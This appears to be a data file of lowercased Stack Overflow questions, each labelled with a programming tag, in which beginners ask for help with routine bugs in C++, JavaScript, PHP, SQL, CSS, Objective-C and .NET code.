c++ comparison between signed and unsigned integer expressions  i am new to c++. i need help fixing this error:   <pre><code>item.cpp: in member function ‘char* ict::item::sku() const’: item.cpp:65:36: warning: comparison between signed and unsigned integer  expressions [-wsign-compare] </code></pre>   this is the part of the code that is giving the error:   <pre><code>//in header file char m_sku[max_sku_len + 1];  //in cpp file char* item::sku() const {     int length = strlen(m_sku);     char *arr = new char[length]();     for (int i = 0; i &lt;= strlen(m_sku); i++) {         arr[i] = m_sku[i];     }     return arr; } </code></pre>,c++
find number of objects in nsmutablearray  i have a problem with counting numbers of object in nsmutablearray. i have this code:   <pre><code>  - (uitableviewcellaccessorytype)tableview:(uitableview *)tableview  accessorytypeforrowwithindexpath:(nsindexpath *)indexpath   {      nsuinteger numobjects = [selected count];// selected is nsmutablearray  for ( int i = 0; i&lt;numobjects; i++)  {     nslog(@ %@ == %@   nr.object =%@  [anotherarray objectatindex:indexpath.row]  [selektuara objectatindex:i]  numobjects); // here stops the by reporting this: program recived signal:  exc_bad_access        if ([selected objectatindex:i] == [anotherarray objectatindex:indexpath.row])      {         nslog(@ %@  [selected objectatindex:i]);         return uitableviewcellaccessorycheckmark;     }     else     {         return uitableviewcellaccessorynone;     }   }  } </code></pre>   when i remove nslog for numbers of object  it counts only one object and compare only that. so has anyone else another solution how to get this number  thanks.,objective-c
break up long title attribute value  i have an web page which has tooltip set as follows:   <pre><code>title= tel: {%- recordfields.providertel ||  n/a  %} email: {%-recordfields.provideremail ||  n/a  %}  </code></pre>   the line occupies 142 columns...    is there a way to break up the title string in the source so that it can span multiple lines     something along these lines:   <pre><code>title= tel: {%- recordfields.providertel ||  n/a  %}  \ email: {%-recordfields.provideremail ||  n/a  %}  </code></pre>,html
jquery: trying to add a class to an element that at the beginning is an string:  im  trying to add a class to an element that at the beginning is an string:   <pre><code>var foobar =  &lt;div&gt;hello&lt;/div&gt; ; $(foobar).addclass( my_class ); $( body ).append($(foobar)); </code></pre>   <a href= http://jsfiddle.net/5zxttcjy/1/  rel= nofollow >jsfiddle</a>    but the class name is not added..,jquery
uncaught error: [$injector:modulerr] using angularjs filter  i have this piece of code and i am trying to use <code>groupby</code> filter. but as soon as i try to load <code>angular-filter.js</code>  i get the above mentioned error.    html:   <pre><code>&lt;!doctype html&gt; &lt;html lang= en-us  ng-app= app &gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;group by data&lt;/title&gt;  &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.22/angular.min.js &gt;&lt;/script&gt;   &lt;script  src= https://cdnjs.cloudflare.com/ajax/libs/angular-filter/0.5.4/angular-filter.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;!--&lt;div ng-controller= datacontroller &gt; &lt;ul ng-repeat= (key  value) in properties | groupby:  name  &gt;   group name: {{ key }}   &lt;li ng-repeat= prop in value &gt;     player: {{ prop.name }}    &lt;/li&gt; &lt;/ul&gt;     &lt;/div&gt;--&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>js:</strong>    <pre><code>angular.module( app  [ angular.filter ]) .controller( datacontroller   function($scope) {     $scope.properties = [      {name:  weight   property:  quintal   value: 50 }       { name:  quanity   propertys:  l    value: 40 }       { name:  quantity   property:  ml    value: 10 }       { name:  height   property:  metres    value: 10  }       { name:  height   property:  cm    value: 20 }       {name:  height   property:  inches    value: 30 }       { name:  size   property:  fat    value: 28  }       { name:  size  property:  slim   value: 48  }       { name:  feature   property:  sharp    value: 9 }       { name:  feature   property:  bland   value: 2  }       {name:  weight   property:  kg   value: 10 }       { name:  weight   property:  grams   value: 20  }       { name:  weight   property:  ton    value: 30 }  ]; }); </code></pre>,angularjs
do any set parsers exist for .net   i would like to take a string representation of a set and parse it. does anybody know of any pre-existing libraries     i can write the regular expression to match these patterns  but it doesn t seem to me to be a very efficient method of doing things. also some edge cases will allow certain strings to pass which shouldn t  and i m probably missing some other cases.    for example  i would like to parse strings like the following:   <pre><code>  {10 -20 30.5 -40.01 .5 -.5}   //^\{((- [0-9]*(\.[0-9]+) )( : |\}))+$  .parse()  .shouldequal(new [] { 10 -20 30.5 -40.01 .5 -.5 });   {(10 10) (20 2) (30.2 -5.5) (-5 40) (-.2 3000) (-.1 -.2)}   //^\{(\((- [0-9]*(\.[0-9]+) ) (- [0-9]*(\.[0-9]+) )\)( : |}))+$  .parse()  .shouldequal(new [] {    new point(10 10)     new point(20 2)     new point(30.2 -5.5)     new point(-5 40)     new point(-.2 3000)     new point(-.1 -.2)  });   {(10 [10 1]) (20 [2 4]) (30.2 [-5.5 -10]) (-5 [40 10]) (-.2 [3000 10]) (-.1 [-.2 0])}  //^\{(\((- [0-9]*(\.[0-9]+) ) \[((- [0-9]*(\.[0-9]+) )( : |\]))+\)( : |}))+$  .parse()  .shouldequal(new [] {    new point(10 new[]{ 10 1 })     new point(20 new[]{2 4})     new point(30.2 new[]{-5.5 -10})     new point(-5 new[]{40 10})     new point(-.2 new[]{3000 10})     new point(-.1 new[]{-.2 0})  }); </code></pre>   the point class is arbitrary.,.net
is it possible to chain settimeout functions in javascript   is it possible to chain settimout functions to ensure they run after one another     thanks ahead,javascript
how can we implement pagecurl animation in tableview   ha ii every body  how can we implement a page-curl in tableview i have a tableview which contains pages of the book and i have implement the touch events in the tableview cell for next chapter and previous chapter left-swipe for next and right-swipe for previous chapter when we swipe the tableview it reloads the next chapter and previous chapter content it really works well but i want it in a page-curl animation when the user swipe left or right tableview loads content with a page-curl animation.is that possible to do in a tableview cell my code for left and right swipe for chapter navigation as follows.   <pre><code>-(void) handleswipegesture:(uiswipegesturerecognizer*)recognizer {        if(![delegate.selectedchapter isequaltostring:[nsstring stringwithformat:@ %d  [dbhandler mnumberofchaptersinbook:delegate.selectedbook]]]) {          // if the currentchapter is the last then do nothing          delegate.selectedchapter = [nsstring stringwithformat:@ %d  [delegate.selectedchapter intvalue] + 1];          [delegate reloadverses];          [self resetreadviewtoverse:1];          [table removegesturerecognizer:recognizer];     }     if (recognizer.state==uigesturerecognizerstatebegan ) {         self.table.scrollenabled = no;     }     else if(recognizer.state==uigesturerecognizerstateended) {         self.table.scrollenabled = yes;     }       return;    } -(void) handleswipegestureleft:(uiswipegesturerecognizer*)recognizer {      if(![delegate.selectedchapter isequaltostring:@ 1 ])     {          delegate.selectedchapter = [nsstring stringwithformat:@ %d  [delegate.selectedchapter intvalue] - 1];         [delegate reloadverses];         [self resetreadviewtoverse:1];          [table removegesturerecognizer:recognizer];     }     if (recognizer.state==uigesturerecognizerstatebegan ) {         self.table.scrollenabled = no;     }     else if(recognizer.state==uigesturerecognizerstateended) {         self.table.scrollenabled = yes;     }      return;   } </code></pre>   thanks in advance.,iphone
how to change different background colors using only one button  i want to change background color that is i need to change my background color first to red using button then to green and then to blue by using the same button.,html
mysql simple syntax error is hiding from me  i ve been looking at my screen too long today. i m getting an sql syntax error on the following code. can t for the life of me find it. anyone else see it    <pre><code>$q =  create table orders (  .       id int not null auto_increment   .       client mediumint(11) not null   .       rep mediumint(11) not null   .       amount int not null   .       paid datetime   .       refunded datetime   .       payoptions varchar(255) not null   .       paymethod varchar(255) not null   .       payid int not null   .       order varchar(255) not null   .       currentorder varchar(255) not null   .       san varchar(255)   .       type varchar(50)   .       created datetime not null   .       updated datetime   .       primary key(id)) ; </code></pre>,mysql
nstask launch path error <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3221432/nstask-launch-path-not-accessible >nstask launch path not accessible</a>    </blockquote>     any ideas why calling this    <pre><code>nstask *buildmtask = [[nstask alloc] init]; [buildmtask setlaunchpath:@ /applications/xcode.app/contents/developer/platforms/iphonesimulator.platform/developer/applications/iphone\\ simulator.app/contents/macos/iphone\\ simulator ]; [buildmtask launch]; </code></pre>   results in     launch path not accessible       thanks!,objective-c
issue with text-allign in javascript  i want to build a legend in the following format: with minvalue  separated  maxvalue    for example -    <blockquote>    10-20        20-30        30-40  </blockquote>   the problems are :    1.i don t succeed to align the text. i want that the min value will be at the right place the  separated will be at center and the max value will be at left.    2. i need that the the number will be allign for example   <pre><code>    0 - 20 10000 - 3000 20000 - 40000 30000 - 500000   var legendwrapper = $( &lt;div /&gt; ); legendwrapper.addclass( legendwrapper ) parentelement.appendchild(legendwrapper.get(0)); legend.addclass( legend )  for (var index = 0; index &lt; self.legenddata.getsubelementlength(); index++) {      var legenditem = $( &lt;div /&gt; );     legenditem.addclass( legenditem )     if (index == self.legenddata.getsubelementlength() - 1) legenditem.addclass( lastlegenditem );      var color = $( &lt;span /&gt; );     color.addclass( legendcolor )     legenditem.get(0).appendchild(color.get(0));      var minvalue = $( &lt;span /&gt; );     minvalue.addclass( minvalue )     legenditem.get(0).appendchild(minvalue.get(0));      var separated = $( &lt;span /&gt; );     separated.addclass( separated );     legenditem.get(0).appendchild(separated.get(0));      var maxvalue = $( &lt;span /&gt; );     maxvalue.addclass( maxvalue )     legenditem.get(0).appendchild(maxvalue.get(0));      legend.get(0).appendchild(legenditem.get(0)); } $( .legendwrapper ).get(0).appendchild(legend.get(0)); </code></pre>   the css:   <pre><code>.legendwrapper {      }  .separated {     text-align: center; }  .minvalue {     text-align: left;         } .maxvalue {     text-align: right; }  .legend {     background-color: black;     position: fixed;            opacity: 0.7;     margin: 10px;     padding: 5px;     width: 150px;     height: 100px;     clear: both;             right: 80px;     top: 800px; }  .legendcolor {     height: 12px;     width: 12px;     margin-right: 3px;     float: left;          color: white;             opacity: 1;    }  .legenditem {     color :white;      height: 20px;            opacity: 1; } </code></pre>   when i added text-align to the <code>legenditem</code> it aligns the text but it aligns all of the span and i want to align span by span.    could you please advise me on how to fix this issue,css
implement nsurlsession delegate methods in nsobject class  i am facing a problem in my nsobject class when i am try to implement the delegates methods of nsurlsession. the delegates method not called when ever i am try to get the response. i am using the method given below   <pre><code>nsurlsessionconfiguration *config=[nsurlsessionconfiguration defaultsessionconfiguration];  nsurlsession *defaultsesh = [nsurlsession sessionwithconfiguration:config]; nsurlsessiondatatask *datatask = [defaultsesh datataskwithrequest:req]; defaultsesh = [nsurlsession sessionwithconfiguration:config delegate:self  delegatequeue:nil]; [datatask resume]; </code></pre>   how to change my code for calling the delegate methods.,objective-c
jquery show next div of same class   i have a bunch of div s like   <pre><code>            &lt;div class= slides &gt;                 &lt;div id= box_bg &gt;                     &lt;div class= previous &gt;&lt;/div&gt;                     &lt;img src= images/minido_pic.png  width= 267  height= 252  alt= minido  class= img1  /&gt;                     &lt;div class= next &gt;&lt;/div&gt;                 &lt;/div&gt;                 &lt;div id= text1 &gt;                     &lt;p&gt;minido - adobe air app - simplistic design wrapped around a simple ios style window built for the windows environment using adobe air.&lt;/p&gt;                 &lt;/div&gt;             &lt;/div&gt; </code></pre>   and a bunch of jquery   <pre><code>$(document).ready(function(){        $( .slides ).hide();          var length = $( .slides ).length;         var ran = math.floor(math.random()*length);         $( .slides:nth-child(  + ran +  ) ).show();      $( .previous ).click(function() {         $( .slides ).parentsuntil( .slides ).prev().show();         $( .slides ).hide();     });      $( .next ).click(function() {         $(this).parentsuntil( .slides ).next().show();         $( .slides ).hide();     }); }); </code></pre>   now what i want to so is on page load  show a random  .slides  which works fine. and then when a user presses  .next  or  .previous  it loads the next  .slides .    however i can t seem to get it to work  when i press next or previous it shows nothing     any help,jquery
how to remove inherited css from body  i am trying to make some pages responsive but in doing so i am facing one issue. there are some css which are inherited by body. and i am not able to override it.   <pre class= lang-css prettyprint-override ><code>fieldset[attributes style] {   text-align: center; }  fieldset {   display: block;   -webkit-margin-start: 2px;   -webkit-margin-end: 2px;   -webkit-padding-before: 0.35em;   -webkit-padding-start: 0.75em;   -webkit-padding-end: 0.75em;   -webkit-padding-after: 0.625em;   min-width: -webkit-min-content;   border: 2px groove threedface; } </code></pre>   above is the css which i don t want to be displayed. i tried overriding but was not able to make changes.     please suggest if any idea to my problem.,css
how to populate jquery autocomplete form with non-hardcoded data   i have a form here that i can get to autocomplete with hard-coded items in the problem-categories text field: <a href= http://www.problemio.com/add_problem.php  rel= nofollow >http://www.problemio.com/add_problem.php</a> by using this jquery code:   <pre><code>$( input#autocomplete ).autocomplete({     // have to load stuff from db.     source: [ c++    java    php    coldfusion    javascript    asp    ruby ] }); </code></pre>   what i am not sure how to do is to construct it using category names returned by making an ajax call.  could someone help explain the flow or post some pseudo-code for how this is usually done     thanks!!,jquery
how to get localised words from ios such as every day or daily  is there an object  formatter or framework in ios to create a localised string such as  daily  or  every day  like in the ios apple reminders app     i have looked at the different date formatters but they seem unable to provide this.    this is tough one  so i would really appreciate any help on this.,ios
why do i run out of memory using angularjs   when i use <code>$http</code> to insert into the database  i am getting errors in firefox:   <blockquote>    out of memory  </blockquote>   and   <blockquote>    error: [$rootscope:infdig] 10 $digest() iterations reached. aborting!  </blockquote>   however  in chrome i only see messages from my error handling code:   <pre><code> .error(function(data  status  headers  config  statustext) {           console.log( status:  + status );             alert( algo anda mal );     }); </code></pre>   i reviewed all my services in php and they are ok. is there some limit to using <code>$http</code>  i use about 25 requests at the same time. why do i get this error,angularjs
do not scroll with anchor  simply change div   lemme explain my situation here: i m trying to make a layout for a website. this goes in a small box  and can include html and css  yet not javascript. i have a small box inside this  with tabs to link to different things. this is done via putting the divs in a box and using anchor tags to get to them.<br> this is totally fine  until the page has a scrollbar. then  when you click on the anchor tag  it scrolls. this is a problem as if moves the whole page  and even the tabs aren t visible anymore. is it possible to get this to work  without any javascript  or should i just put this in an iframe hosted on my own website and get past it that way  :/<br> thanks!,html
how to position image caption over and within a responsive image   i have the following html:   <pre><code>&lt;div class= media &gt;   &lt;img src= /img/sample.jpg &gt;   &lt;div class= caption &gt;      lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip.   &lt;/div&gt; &lt;/div&gt; </code></pre>   the size of the image will shrink/grow with the size change of the browser. the caption should be positioned over the image and within the boundary of the image. the width of the caption must change when the image size changes.    the image is large enough to hold the text. the image size is not known in advance. the image must retain original width when the browser s viewport width is larger than the image s actual width. i hope the caption is positioned at the bottom of the image.    if there is any css solution  that will be fantastic.    thanks for any input!,css
multiplication table side by side in full format  am a newbie trying to print multiplication table in below format. i am unable to neatly output the table for numbers upto 10 or above. i have written for numbers upto 5. but failed to place the tables for 6 and above below the current output. can somebody help me with how to print for eg from 6 to 10 below the table i have created    <img src= https://i.stack.imgur.com/zhwuf.png  alt= this is the output i have created for numbers upto 5. i need the same format for numbers upto 10 or more. >   <pre><code>class program {     static void main(string[] args)     {         for (int i = 1; i &lt;= 10; i++)         {             for (int j = 1; j &lt;= 5; j++)             {                 console.write( {0} * {1} = {2} \t   j  i  i * j);             }         }         console.readkey();     } } </code></pre>,.net
query to count employees for each manger(also zero count for manager)  manager table :   <pre><code>create table manager(id integer  name varchar(100)); insert into manager(id  name) values(1   m1 ); insert into manager(id  name) values(2   m2 ); insert into manager(id  name) values(3   m3 ); </code></pre>   employee table along with manager id(m_id)   <pre><code>create table employee(id integer  m_id integer  name varchar(100)); insert into employee(id  m_id  name) values(11  1  e1 ); insert into employee(id  m_id  name) values(12  1  e2 ); insert into employee(id  m_id  name) values(13  2  e3 ); </code></pre>   executed query:   <pre><code>select m.id  m.name  count(e.id) from manager as m  employee as e where e.m_id=m.id group by e.m_id  m.id  m.name; </code></pre>   output:   <pre><code>1   m1  2 2   m2  1  </code></pre>   expected output:    <pre><code>1   m1  2 2   m2  1 3   m3  0 </code></pre>   please help me how to include <strong>m3</strong> manager along with <strong>0</strong> employee assigned to him,mysql
set a proper width for html buttons  when i am using html to create a form the buttons are on different sizes (as size of inputted values).    it is possible to set a proper width for <code>html</code> buttons with out using <code>css</code>.   <pre><code>&lt;form&gt; &lt;input type= button  value= input &gt;&lt;br&gt; &lt;input type= button  value= ok &gt; &lt;/form&gt; </code></pre>,html
what is the effect of content:  \0020 ; property  <pre><code>.container:after { content:  \0020 ; display: block; height: 0; clear: both; visibility: hidden; overflow:hidden;} </code></pre>   contents    please explain what is the effect of  content:  \0020 ; property,css
comparing and checking columns in two files  i have two files which goes like this :    file a is :   <pre><code>j5 j15 j25 j30 j35 </code></pre>   and file b is:   <pre><code>j0 23 56 j5 24 58 j10 26 60 j15 29 63 j20 31 36 j25 23 32 j30 51 14 j35 34 21 j40 46 12 </code></pre>   the problem is that i have to check file a with file b for its contents and copy the values of jth items in a new file like this : ( file c ) :   <pre><code>j5 24 58 j15 29 63 j25 23 32 j30 51 14 j35 34 21 </code></pre>   it would be great help if u formulate a c code to tackle this problem. thanks.,c
"html text align in div  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.test {
   background-color: red;
   text-align: center;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= test &gt;
   this&lt;br&gt;is&lt;br&gt;a&lt;br&gt;test!
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     i use the above code to align the text in the middle of a div. code works good  however  is there a way to make it appear on the middle of the div but still one letter to appear above the other     example:    <a href= https://i.stack.imgur.com/elcja.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/elcja.png  alt= enter image description here ></a>",html
sql date convert from 20 dec 2016 to 20 december 2016  current sql to get 20 dec 2016 is: convert(char(11)  getdate()  13) date,sql
why do i get use of undeclared identifier  downloaddatafromurl  when method is defined in same class   i have written a method that i want to reuse from another method in the same class but i am getting this error message and i don t understand why  how can it be undeclared when it is declared in the same class     the h file looks like this   <pre><code>#import &lt;foundation/foundation.h&gt; #import  appdelegate.h  #import  nwtillhelper.h   @interface joshuawebservices : nsobject  + (void)downloaddatafromurl:(nsurl *)url withcompletionhandler:(void (^)(nsdata *))completionhandler;  - (void)downloadcollections;  @end </code></pre>   and the m file as follows   <pre><code>#import  joshuawebservices.h   @implementation joshuawebservices  @synthesize xmlparser;  + (void)downloaddatafromurl:(nsurl *)url withcompletionhandler:(void (^)(nsdata *))completionhandler {     if([nwtillhelper isdebug] == 1) {         nslog(@ %s entered   __pretty_function__);     } // lots of irrelevant code here }  - (void)downloadcollections {     // prepare the url that we ll get the neighbour countries from.     nsstring *urlstring = [nsstring stringwithformat:@ https://url.is.not.here ];      nsurl *url = [nsurl urlwithstring:urlstring];      // download the data.     [downloaddatafromurl:url withcompletionhandler:^(nsdata *data) {         // make sure that there is data.         if (data != nil) {             self.xmlparser = [[nsxmlparser alloc] initwithdata:data];             self.xmlparser.delegate = self;              // initialize the mutable string that we ll use during parsing.             self.foundvalue = [[nsmutablestring alloc] init];              // start parsing.             [self.xmlparser parse];         }     }]; } </code></pre>   why can i not use the method declared in same class,objective-c
scroll through xml content example  can someone point me to an android example with source that allows the user to scroll through the contents of an xml file that contains text entries (preferrably with arrows on the side of the screen that allow previous/next type of interaction)    i ve looked through the examples on the android site and didn t see anything similar. any help would be greatly appreciated (i m an android newbie but experienced java developer),android
.net executable process walk through  is there a detailed walkthrough describing all the processes that occur at the .net level while running an executable   like folders that are accessed  processes that might be running  who they are running as  etc. that happens outside of your application,.net
angularjs  redirect views from controller  i m new to angularjs. i m using angularjs to implement a website. the website has two pages. the first page list all items and if user click on it  it will redirect to detail information page.    i have my routes configure as below:   <pre><code>var app = angular.module( myapp   [ ngroute ]); app.config(function($routeprovider) { $routeprovider     .when( /list   {         templateurl :  list.html           controller  :  listctrl      })     .when( /detail/:id ){         templateurl :  detail.html      } }); </code></pre>   in the list.html. i use ng-repeat to display a list of items and a listener on to listen mouse click.   <pre><code>&lt;ul class= list-group &gt;     &lt;li class= list-group-item  ng-repeat= i in items &gt;{{i.name}}       &lt;a href= #  ng-click= gotoedit($index) &gt;         &lt;span class= glyphicon glyphicon-pencil &gt;&lt;/span&gt;       &lt;/a&gt;     &lt;/li&gt; &lt;/ul&gt; </code></pre>   i want to redirect view to detail information in the ng-click function. i tried    <code>$location.path()</code> but it not working.   <pre><code>$scope.gotoedit = function(index){       console.log($location.path());       $location.path( /detail/  + index);       console.log($location.path()); } </code></pre>   this way won t work. even though the second log on console show location.path() has been changed to   /detail/id .    if i add <code>$scope.$apply()</code> after <code>$location.path();</code> then i will get a action already in progress error.    do you have any solution       thanks,angularjs
changing values in javascript  i m new to javascript and i m trying to learn by tinkering with a webpage. so it is a button and when you click it  it gains a child with the id oddsinput. i cant get the values to change   <pre><code>function checksettings(payout) { $( #oddspayout ).click(); var iodds = $( #oddsinput ); iodds.value = payout; // $( glyphicon glyphicon-ok btn btn-success ).click(); }  checksettings(2) </code></pre>,javascript
how to move cursor with appending data in jquery.   i am making a blinking cursor .i need this cursor should blink at the end of data (a data coming after few second) and appending in div.till now my cursor position is fixed .now i need  to move my cursor at the end of contend.here is try. <a href= http://jsfiddle.net/naveennsit/pruyp/  rel= nofollow >http://jsfiddle.net/naveennsit/pruyp/</a>   <pre><code>$(document).on( click    #call   function(event) {        setinterval(function(){    $( #realtimecontents  ).append( kkkkkkkkkk + \n );    } 3000);      setinterval(function(){  cursoranimation();     } 600); });   function cursoranimation()  {    // alert( yy )   $( div.cursor ).animate(   {     opacity: 0   }   fast    swing ).animate(   {     opacity: 1   }   fast    swing ); } </code></pre>   i need result like this   <pre><code>kkkkkkk| kkkkkk  kkkkkkkk|  kkkkkk  kkkkkkkk  kkkkkkk| </code></pre>,jquery
if i am reducing the size of a char ** pointer using realloc  does it internally frees up the individual char * pointers of the reduction size  i am trying to reduce the size of a <code>char **</code> double pointer using <code>realloc</code>. first the <code>char **</code> pointer is allocated using <code>malloc</code> and then the individual <code>char*</code>  pointers as given below.   <pre><code>    char **first= (char**)malloc(num*sizeof(char*));      char **last=(char**)malloc(num*sizeof(char*));      for(int i=0;i&lt;num;i++)     {     //each individual pointer holds 20 characters             first[i]=(char*)malloc(20*sizeof(char));              last[i]=(char*)malloc(20*sizeof(char));      } </code></pre>   now after some operations  i want to reduce the size of first and last by one counter value where counter is less than <code>num</code>.<br> purpose is to free last counter number of records.    if i do the following   <pre><code>//freeing up internal pointer memories         i = 0;         while (i&lt;counter)         {             free(first[num1-1 - i]);             free(last[num1-1-i]);             i++;          }      //reducing the size of the double pointer using realloc       first = (char **)realloc(first  (num1-counter) * sizeof(char *));       last = (char **)realloc(last  (num1-counter) * sizeof(char *) ); </code></pre>   after this if i print the records   <pre><code>    for(i=0; i&lt;num - counter; i++){          printf( first name: %s   first[i]);          printf( last name: %s   last[i]);     }` </code></pre>   the last record seems to be corrupted.    if i just perform the following and do not free the individual <code>char *</code> pointers  it works fine.   <pre><code>first = (char **)realloc(first  (num1-counter) * sizeof(char *)); last = (char **)realloc(last  (num1-counter) * sizeof(char *) ); </code></pre>   my question is does <code>realloc</code> of a double pointer to reduce the size  internally frees up the internal pointers and as i am doing both  it is some how corrupting the memory,c
move_uploaded_file(uploads/) [function.move-uploaded-file]: failed to open stream: permission denied  i have this code : <br>   <pre><code>chmod( uploads   0777); $image = $_files[ image ][ tmp_name ]; $_files[ image ][ name ] =   date( d-m-y_h-i-s- ) . rand(11111 99999) * rand(99999 11111) . rand(111 999) . $_files[ image ][ tmp_name ]; </code></pre>   and this : <br>   <pre><code>move_uploaded_file($_files[ image ][ tmp_name ]   uploads/ ); </code></pre>   but when i run the code i get this error message:   <blockquote>    warning: move_uploaded_file(uploads/) [function.move-uploaded-file]:   failed to open stream: permission denied in   d:\appserv\www\tab\submit.php on line 51        warning: move_uploaded_file() [function.move-uploaded-file]: unable to   move  c:\windows\temp\php4d3.tmp  to  uploads/  in   d:\appserv\www\tab\submit.php on line 51  </blockquote>   how to fix it,php
get the output value of system  i am using the following method to get the time of the video with ffmpeg do not know what reason i can not put the output of the command   <pre><code>command =~ /duration: ([\d][\d]):([\d][\d]):([\d][\d]).([\d]+)/ </code></pre>   variable for time and then insert in the can someone give a help    <pre><code> def get_time_video     command = system   ffmpeg -i video.flv 2&gt;&amp;1        command =~ /duration: ([\d][\d]):([\d][\d]):([\d][\d]).([\d]+)/      time =   #{$1}:#{$2}:#{$3}        puts time    # 00:00:30      update_attribute(:time  “#{time}”)    end </code></pre>,ruby-on-rails
retrieving first of two values in python dictionary  here is the code i m working with so far:   <pre><code>measures = {}  for i in range(3):    if i == 0:      measures[i] = [[c4  d4  e4]  [.25  .25  .25]]   elif i == 1:      measures[i] = [[d4  e4  f4]  [.50  .50  .50]]    else:      measures[i] = [[e4  f4  g4]  [1.0  1.0  1.0]]  a = choice(measures) </code></pre>   i want the for loop iterator to be my key (0 1 2) and the first and second lists to be my values.     when i ask the program to print <code>a</code>  i get one of the two list choices (<code>[[c4  d4  e4]  [.25  .25  .25]]</code>  for example)  but i want to retrieve only the first list from each choice (<code>[c4  d4  e4]</code>  for example).     how might i do this,python
return local object in a function  i have done the following code:   <pre><code>xyz cv::init(source&amp; node) {      if (node == 5)     {         xyz noderelay(node.getnodeq());         noderelay.setinputnode(node);         return noderelay;     } } </code></pre>   i use it like:   <pre><code>xyz xyz = init(center); </code></pre>   when i try to compile  i get the error:   <pre><code>error: use of deleted function </code></pre>   i am using c++11 and gcc 4.9.0    xyz is like this:   <pre><code>xyz::xyz( uint8_t type ): basenode()  m_type(type) {  } </code></pre>   the error is in the line:   <pre><code>return noderelay; </code></pre>   if i take that away then it compiles.,c++
behavior of std::cin for unexpected inputs  i wanted to test behavior of <code>std::cin</code> when an unexpected input is given. why does <code>std::cin</code> return 0 and 2.07386e-317 in a non-deterministic way    <pre><code>#include &lt;iostream&gt;  using namespace std;  int main(){     double foo  bar;     while(cin.good() and cin &gt;&gt; foo &gt;&gt; bar){             cout &lt;&lt; foo &lt;&lt;     &lt;&lt; bar &lt;&lt; endl;     }     if (cin.eof()){             cout &lt;&lt;  ooops  eof encountered.\n ;     }     else{         cout &lt;&lt;  something weird happened!\n ;         cout &lt;&lt; foo &lt;&lt;     &lt;&lt; bar &lt;&lt; endl;     }     return 0; } </code></pre>   whenever i type    <pre><code> &lt;a_number&gt; &lt;non-number&gt; </code></pre>   output is <code>&lt;a_number&gt; 0</code>    and whenever i type    <pre><code>&lt;non-number&gt; &lt;anything&gt; </code></pre>   output is <code>0 2.07386e-317</code>   <hr>   i tried exact code by increasing number of input to 3 and    <pre><code>&lt;non-number&gt; &lt;non-number&gt; &lt;non-number&gt; </code></pre>   output is <code>0 0 2.07353e-317</code>   <hr>   for 4 inputs    <pre><code>`&lt;non-number&gt; &lt;non-number&gt; &lt;non-number&gt; &lt;non-number&gt;` </code></pre>   output is <code>0 2.07353e-317 0 2.07353e-317</code>   <hr>   lastly  for 5 inputs    <pre><code>`&lt;non-number&gt; &lt;non-number&gt; &lt;non-number&gt; &lt;non-number&gt; &lt;non-number&gt;` </code></pre>   output is <code>0 2.07353e-317 2.07353e-317 0 2.07353e-317</code>    i looked at <a href= http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n4296.pdf  rel= nofollow >the november 2014 working draft of current standart (c++14)</a> and couldn t see any helpful information on this at § 27.4.2 where narrow stream objects are explained in a surprisingly short way. i expected to see internal working details of <code>std::cin</code>. am i missing something     i am curious about the reasons of behavior. appreciate the help.,c++
how can i completely remove an object from an array in javascript   i have been using the following code:   <pre><code>formdata.objectivedetails.push(emptyobjectivedetail); </code></pre>   this pushes a new emptyobjectivedetail object onto the end of an array called objectivedetails.     if for example the array of objectivedetails contains 13 objects then how could i remove the one at position 5  i assume i could make this null but what i want to do is to completely remove it so the length of the array becomes 12.    this might be off topic but i have been considering adding underscore.js.  is this something that could be done with underscore,javascript
split php object in multiple objects grouped by property value  i have an object like this  i want to create multiple objects from it. i need to check all the values of  group  and create a new object for each different group.   <pre><code>array (size=6)   0 =&gt;      array (size=2)        name  =&gt; string  cindy         group  =&gt; string  group a    1 =&gt;      array (size=2)        name  =&gt; string  carl         group  =&gt; string  group a    2 =&gt;      array (size=2)        name  =&gt; string  anna         group  =&gt; string  group a    3 =&gt;      array (size=2)        name  =&gt; string  mary         group  =&gt; string  group b    4 =&gt;      array (size=2)        name  =&gt; string  john         group  =&gt; string  group b    5 =&gt;      array (size=2)        name  =&gt; string  frank         group  =&gt; string  group c  </code></pre>   for the previous example i should end up with 3 different objects like this  with a different variable for each one.   <pre><code>array (size=3)   0 =&gt;      array (size=2)        name  =&gt; string  cindy         group  =&gt; string  group a    1 =&gt;      array (size=2)        name  =&gt; string  carl         group  =&gt; string  group a    2 =&gt;      array (size=2)        name  =&gt; string  anna         group  =&gt; string  group a   array (size=2)   0 =&gt;      array (size=2)        name  =&gt; string  mary         group  =&gt; string  group b    1 =&gt;      array (size=2)        name  =&gt; string  john         group  =&gt; string  group b   array (size=1)   0 =&gt;      array (size=2)        name  =&gt; string  frank         group  =&gt; string  group c  </code></pre>,php
how to find out more about installed app   on a customer s computer i noticed a newish app installed.  i want to do a bit of snooping on this app to find out what language it s been written in and what its design is.    just by looking at the files in the app s folder  how could i determine any of the following:   <ul> <li>version of .net targetted </li> <li>whether wpf used </li> <li>whether silverlight used</li> <li>any other interesting features</li> </ul>,.net
how to navigate into other screen while clicking a image in iphone  i am very to new phone i want to display four images in one line like tabbar and also if the user clicks any of the image i want to show another screen in iphone.    can any one tell me how can i do that and also if possible please tell me in which files i have to write the code to achieve this requirement.,iphone
is converting my apps to .net a really good idea   all my applications are developed in native code. i am hesitant to move to .net because of all the negatives that i hear  such as:   <ol> <li>slow response time</li> <li>lock-in into windows</li> <li>dependance on huge .net run-time that makes installation a pain and slow as well.</li> </ol>   etc. etc.    your advice will be much appreciated.,.net
